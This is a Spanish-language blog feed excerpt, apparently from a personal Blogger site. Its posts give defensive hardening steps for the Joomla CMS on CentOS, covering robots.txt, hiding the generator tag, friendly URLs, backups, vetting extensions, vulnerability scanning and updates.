&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; color: #555555; font-family: &#39;Helevtica Neue&#39;, Arial, &#39;Century gothic&#39;, sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;&quot;&gt;
Podra descargar el proyecto desde la siguiente url&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; color: #555555; font-family: &#39;Helevtica Neue&#39;, Arial, &#39;Century gothic&#39;, sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;&quot;&gt;
&lt;b&gt;&lt;a href=&quot;https://github.com/aol/moloch&quot; style=&quot;border: 0px; color: #4e6dad; font-style: inherit; font-weight: inherit; margin: 0px; outline: none; padding: 0px; text-decoration: none; vertical-align: baseline;&quot;&gt;Página del proyecto moloch de AOL&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/5894521117062984130/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2014/11/moloch-escanner-de-red-via-web-de-aol.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/5894521117062984130'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/5894521117062984130'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2014/11/moloch-escanner-de-red-via-web-de-aol.html' title='MOLOCH, ESCANNER DE RED VIA WEB DE AOL'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB2zeLJ0pkOUImiiHZ5zMFqcRBmgB9mE3HvQufYT_BNqjaWjzYvVblh2Mia4y8X4FjD8V_ePcLfElJi2Y0vVNu7Dsg14qLgizqQ2IhHVDQMrpJnNwYYZXjbv1TPKz8XjSp5i2qSLiU_Ag/s72-c/moloch-logo.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-6379312806421605935</id><published>2014-11-04T16:22:00.002-05:00</published><updated>2014-11-04T16:22:34.708-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="apache"/><category scheme="http://www.blogger.com/atom/ns#" term="aseguramiento"/><category scheme="http://www.blogger.com/atom/ns#" term="CentOS"/><category scheme="http://www.blogger.com/atom/ns#" term="CMS"/><category scheme="http://www.blogger.com/atom/ns#" term="hardening"/><category scheme="http://www.blogger.com/atom/ns#" term="htaccess"/><category scheme="http://www.blogger.com/atom/ns#" term="Joomla"/><category scheme="http://www.blogger.com/atom/ns#" term="jsecure"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="plantilla"/><category scheme="http://www.blogger.com/atom/ns#" term="robots"/><category scheme="http://www.blogger.com/atom/ns#" term="securizar"/><category scheme="http://www.blogger.com/atom/ns#" term="sistema operativos"/><category scheme="http://www.blogger.com/atom/ns#" term="SO"/><category scheme="http://www.blogger.com/atom/ns#" term="template"/><category scheme="http://www.blogger.com/atom/ns#" term="Unix"/><title type='text'>Hardening CMS Joomla (CentOS) #Parte2</title><content type='html'>Continuando con la plantilla de aseguramiento de CMS Joomla&lt;br /&gt;
Leer la&amp;nbsp;&lt;a href=&quot;http://antoniojorz.blogspot.com/2014/10/hardening-cms-joomla-centos-parte1.html&quot; target=&quot;_blank&quot;&gt;#Parte1&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;6.6&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Robots&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;
Generalmente, una vez que se implementa un sitio web y se pone en producción, el siguiente paso es la promoción. Ésta generalmente se realiza añadiendo el dominio en los buscadores más populares y aplicando ciertas técnicas (SEO y SEM) para hacer que nuestra página sea mostrada en los primeros puestos de las búsquedas. Para facilitar el rastreo e indexación por los crawlers (arañas o robots de los motores de búsqueda) se debe configurar adecuadamente el archivo robots.txt. A través de este fichero, mediante una serie de directivas, le indicaremos al crawler qué páginas puede indexar el buscador y cuáles no. Por lo general no nos interesa que el buscador añada las páginas de administración, configuración, etc. La última versión de Joomla por defecto genera en la carpeta raíz del sitio web un archivo robots.txt:&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCRiSAIeERj0jT_oYyZtpexi1NYKx0IWE2_pr9yPGnoVQSs0h_xk6CMwDXGmwKUG2SfjnQC3TKi7RinmCCIBYYBeurXzSIbeIGlpp014png-o7vDYH2Pbh86r4cvt6Q_xR82-a1uKzjOw/s1600/robots.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCRiSAIeERj0jT_oYyZtpexi1NYKx0IWE2_pr9yPGnoVQSs0h_xk6CMwDXGmwKUG2SfjnQC3TKi7RinmCCIBYYBeurXzSIbeIGlpp014png-o7vDYH2Pbh86r4cvt6Q_xR82-a1uKzjOw/s1600/robots.png&quot; height=&quot;165&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Que tiene la siguiente configuración:&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: ’courier new’, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: ’courier new’, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: ’courier new’, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; Disallow: /administrator/
&lt;span style=&quot;color: #606060;&quot;&gt;   2: &lt;/span&gt;Disallow: /cache/
&lt;span style=&quot;color: #606060;&quot;&gt;   3: &lt;/span&gt;Disallow: /cli/
&lt;span style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; Disallow: /components/
&lt;span style=&quot;color: #606060;&quot;&gt;   5: &lt;/span&gt;Disallow: /images/
&lt;span style=&quot;color: #606060;&quot;&gt;   6: &lt;/span&gt;Disallow: /includes/
&lt;span style=&quot;color: #606060;&quot;&gt;   7: &lt;/span&gt;Disallow: /installation/
&lt;span style=&quot;color: #606060;&quot;&gt;   8: &lt;/span&gt;Disallow: /language/
&lt;span style=&quot;color: #606060;&quot;&gt;   9: &lt;/span&gt;Disallow: /libraries/
&lt;span style=&quot;color: #606060;&quot;&gt;  10: &lt;/span&gt;Disallow: /logs/
&lt;span style=&quot;color: #606060;&quot;&gt;  11: &lt;/span&gt;Disallow: /media/
&lt;span style=&quot;color: #606060;&quot;&gt;  12: &lt;/span&gt;Disallow: /modules/
&lt;span style=&quot;color: #606060;&quot;&gt;  13: &lt;/span&gt;Disallow: /plugins/
&lt;span style=&quot;color: #606060;&quot;&gt;  14: &lt;/span&gt;Disallow: /templates/
&lt;span style=&quot;color: #606060;&quot;&gt;  15: &lt;/span&gt;Disallow: /tmp/&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;!--CRLF--&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
Inicialmente es una configuración válida siempre que se cumplan nuestras necesidades. Si queremos añadir un nuevo directorio o ruta a proteger contra la indexación de los buscadores, la incluiremos en la lista.&lt;br /&gt;
&lt;br /&gt;
&lt;b style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Eliminar Meta Generator de Joomla&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;
&lt;span style=&quot;text-align: justify;&quot;&gt;Joomla por defecto genera en el código fuente de las web una etiqueta como la siguiente:&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&amp;lt; meta name=&quot;generator&quot; content=&quot;Joomla! - Open Source Content Management&quot; / &amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Esto revela la plataforma bajo la cual se encuentra desarrollada la web.&lt;br /&gt;
&lt;br /&gt;
Para esto vamos a modificar el contenido a mostrar, el siguiente ejemplo está basado en Joomla &lt;b&gt;3.0.X.&lt;/b&gt;&lt;br /&gt;
Nos dirigimos al archivo &lt;b&gt;“index.php”&lt;/b&gt; de la plantilla instalada y usada en el gestor Joomla&lt;br /&gt;
Ejemplo:&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;“/var/www/html/masa/templates/xxx_xxx”&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
En el buscaremos e insertamos el siguiente código&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: ’courier new’, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: ’courier new’, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: ’courier new’, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;// Ocultar Generator Tag&lt;/span&gt;&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: ’courier new’, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; $this-&amp;gt;setGenerator(null);&lt;/pre&gt;
&lt;!--CRLF--&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;b style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;URL&#39;S Amigables&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
El usar URL amigables es una gran ayuda para el aseguramiento de Joomla ya que si se deja la opción que trae por defecto el gestor de contenido Joomla genera códigos arbitrarios que pueden llegar a presentar una vulnerabilidad.&lt;/div&gt;
&lt;span style=&quot;text-align: justify;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para esto en primer lugar cambiaremos las opciones &amp;nbsp;por defecto en la &amp;nbsp;configuración global de Joomla.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0vfR5bt-BuqecY1Kg_RAK4eujY09DIa8FThH_yK7JkB6wvRRgOmZiI5n4yr7Q0Rq7MnoWa_pDU4AYLqAcqJQkyxGo5zoGCdvPpEMx-qF8FUzjLJX1m1gWW5lRwtV1Oyyhkoc0fexf07k/s1600/Url-amigables.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0vfR5bt-BuqecY1Kg_RAK4eujY09DIa8FThH_yK7JkB6wvRRgOmZiI5n4yr7Q0Rq7MnoWa_pDU4AYLqAcqJQkyxGo5zoGCdvPpEMx-qF8FUzjLJX1m1gWW5lRwtV1Oyyhkoc0fexf07k/s1600/Url-amigables.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Para que surga efecto deberiamos haber ya renombrado el archivo &lt;b&gt;htaccess.txt &amp;nbsp;a .htaccess.&lt;/b&gt; y el archivo &lt;b&gt;web.config.txt a web.config.&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Respaldo de&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;información&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Como todo sistema este no es la excepción y se debe contar con respaldo de la información de la carpeta del sitio como de la base de datos del mismo para cambio de versiones entre otras acciones.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
para esto existen diversos modulos y/o Plugins o bien siempre existira ftp y un script.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot;&gt; &lt;span style=&quot;white-space: pre;&quot;&gt;Extensiones de tercero&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Uno de los aspectos más atractivos de los gestores de contenidos y por lo tanto de Joomla es que mediante extensiones, plugins o módulos es posible ampliar las funcionalidades del sitio web que se implemente sobre esta plataforma.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div&gt;
En algunos casos estas extensiones son una vulnerabilidad para los sitios web ya que posiblemente se traten de extensión que carecen de procesos de revisión de código y seguridad.&lt;/div&gt;
&lt;div&gt;
Las premisas esenciales para instalar este tipo de aplicaciones serían:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Verificar el historial de vulnerabilidades&lt;/b&gt;. Evidentemente lo más recomendable es utilizar aplicaciones que no se encuentren en la lista de extensiones vulnerables (para más antiguas consultar esta otra lista). En caso contrario se está asumiendo un riesgo elevado del compromiso de la seguridad de la web.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Comprobar si está incluída en el Directorio de Extensiones de Joomla&lt;/b&gt;. En este portal se realiza un primer filtrado comprobando que la aplicación cumple unos estándares mínimos (tanto de usabilidad como de seguridad).&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Página del desarrollador y comunidad de soporte.&lt;/b&gt; Este es un punto a tener en cuenta ya que aportará información acerca de cuánto tiempo lleva desarrollándose y el tipo de soporte con el que cuenta (foros, etc.). Adicionalmente en las web de los desarrolladores es posible comprobar el funcionamiento a través de una Demo antes de su instalación.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Versión nativa.&lt;/b&gt; Siembre se debe verificar que la extensión esté disponible para la versión de Joomla que se ha instalado. Esto evita tener que activar el modo herencia.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
Como siempre realizar un analisis de vulnerabilidades al sitio. existen muchas herramientas para realizar esta accion y algunas especialmente dirigida para este CMS como pueden ser&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;a href=&quot;https://mega.co.nz/#!fk1BUTqa!XqK-tYTwYftQSFeYtHvEU0jvOFRgp8o7YFoheiaaW0M&quot;&gt;JoomlaScan&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;a href=&quot;http://hackertarget.com/joomla-security-scan/&quot;&gt;joomla-security-scan&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Category:OWASP_Joomla_Vulnerability_Scanner_Project&quot;&gt;OWASP Joomla Vulnerability Scanner Projec&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Entre otros.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot;&gt;&amp;nbsp;&lt;span style=&quot;white-space: pre;&quot;&gt;Servidor web&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Para una mayor seguridad de los portales web se debe implementar el aseguramiento del servidor web APACHE en un post anterior comentabamos sobre hardening sobre los servidores web &lt;b&gt;apache y nginx&lt;/b&gt;.&lt;/div&gt;
&lt;div&gt;
En el &lt;b&gt;punto 7 &lt;/b&gt;de la&lt;b&gt; &lt;a href=&quot;http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte2.html&quot;&gt;#&lt;/a&gt;&lt;/b&gt;&lt;a href=&quot;http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte2.html&quot;&gt;Parte2_Hardening_CentOS&lt;/a&gt;&amp;nbsp;podemos encontrar mayor información sobre el aseguramiento en &lt;b&gt;APACHE&amp;nbsp;&lt;/b&gt;y en el &lt;b&gt;punto 8&lt;/b&gt; de la &lt;a href=&quot;http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte3.html&quot;&gt;#Parte3_Hardening_CentOS&lt;/a&gt;&amp;nbsp;podemos encontrar mayor información sobre aseguramiento a &lt;b&gt;NGINX.&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot;&gt;&amp;nbsp;&lt;span style=&quot;white-space: pre;&quot;&gt;Actualizaciones&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Como en cualquier aplicación o software que se precie, el mantener una política de actualizaciones es esencial con el objetivo de cubrir los agujeros de seguridad que se vayan descubriendo. En el caso de Joomla se debe proceder del mismo modo previa evaluación del impacto que una actualización pueda provocar como la incompatibilidad entre complementos, plugins, plantillas, etc. No obstante se debe considerar adecuadamente estos aspectos primando sobre todas los relacionados con la seguridad.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Generalmente, los procedimientos para actualizar el CMS Joomla suelen ser sencillos y varían ligeramente en función de si se trata de actualizaciones dentro de la misma rama (por ejemplo de de la v3.0.1 a la v3.0.2), o si es un cambio de versión (de la v3.0x a la 4.0.x). Los primeros únicamente requieren la sustitución de los archivos antiguos por los de la nueva versión. En el caso de la segunda opción, en ocasiones es posible hacerlos directamente pero por lo general requieren de una instalación limpia de la versión de Joomla! que se quiere instalar y realizar una migración de datos.&lt;/div&gt;
&lt;div&gt;
En el sitio oficial &lt;b&gt;&lt;a href=&quot;http://docs.joomla.org/&quot;&gt;http://docs.joomla.org&lt;/a&gt;&lt;/b&gt; o en el proyecto en español &lt;b&gt;&lt;a href=&quot;http://www.joomlaspanish.org/&quot;&gt;http://www.joomlaspanish.org&lt;/a&gt;/&lt;/b&gt; se puede encontrar información útil acerca de cómo actualizar entre las distintas versiones del gestor de contenidos.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
De igual manera en esta plantilla de aseguramiento se recomienda suscribirse a servicios de información que nos permitan estar al día en relación a la aparición de nuevas versiones de Joomla! o el descubrimiento de agujeros de seguridad, que nos permitan actualizar o corregir los problemas lo más rápido posible.&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/6379312806421605935/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2014/11/hardening-cms-joomla-centos-parte2.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/6379312806421605935'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/6379312806421605935'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2014/11/hardening-cms-joomla-centos-parte2.html' title='Hardening CMS Joomla (CentOS) #Parte2'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCRiSAIeERj0jT_oYyZtpexi1NYKx0IWE2_pr9yPGnoVQSs0h_xk6CMwDXGmwKUG2SfjnQC3TKi7RinmCCIBYYBeurXzSIbeIGlpp014png-o7vDYH2Pbh86r4cvt6Q_xR82-a1uKzjOw/s72-c/robots.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-1086848589263173767</id><published>2014-10-22T02:06:00.001-05:00</published><updated>2014-10-22T02:19:51.357-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="apache"/><category scheme="http://www.blogger.com/atom/ns#" term="aseguramiento"/><category scheme="http://www.blogger.com/atom/ns#" term="CentOS"/><category scheme="http://www.blogger.com/atom/ns#" term="CMS"/><category scheme="http://www.blogger.com/atom/ns#" term="hardening"/><category scheme="http://www.blogger.com/atom/ns#" term="htaccess"/><category scheme="http://www.blogger.com/atom/ns#" term="Joomla"/><category scheme="http://www.blogger.com/atom/ns#" term="jsecure"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="plantilla"/><category scheme="http://www.blogger.com/atom/ns#" term="robots"/><category scheme="http://www.blogger.com/atom/ns#" term="securizar"/><category scheme="http://www.blogger.com/atom/ns#" term="sistema operativos"/><category scheme="http://www.blogger.com/atom/ns#" term="SO"/><category scheme="http://www.blogger.com/atom/ns#" term="template"/><category scheme="http://www.blogger.com/atom/ns#" term="Unix"/><title type='text'>Hardening CMS Joomla (CentOS) #Parte1</title><content type='html'>Hola amigos continuando con el tema de hardening. esta vez les traigo una plantilla basica complementada por mi parte para los CMS Joomla en sistemas Linux (CentOS). basada en la guia basica de securizacion de Inteco.&lt;br /&gt;
&lt;a href=&quot;http://www.inteco.es/file/WbpsPPREE7naXKiMJlkT_g&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.inteco.es/file/WbpsPPREE7naXKiMJlkT_g&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;INDICE&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;1&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Introducción&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;2&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Prefijo de la base de datos&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;3&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Usuario y contraseñas de administrador&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;4&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Permiso de directorios y archivos&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;5&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Área de administración (Back-end Administrator)&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;6&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Htaccess y Robots.txt&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;6.1&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Htaccess&lt;/b&gt;&lt;br /&gt;
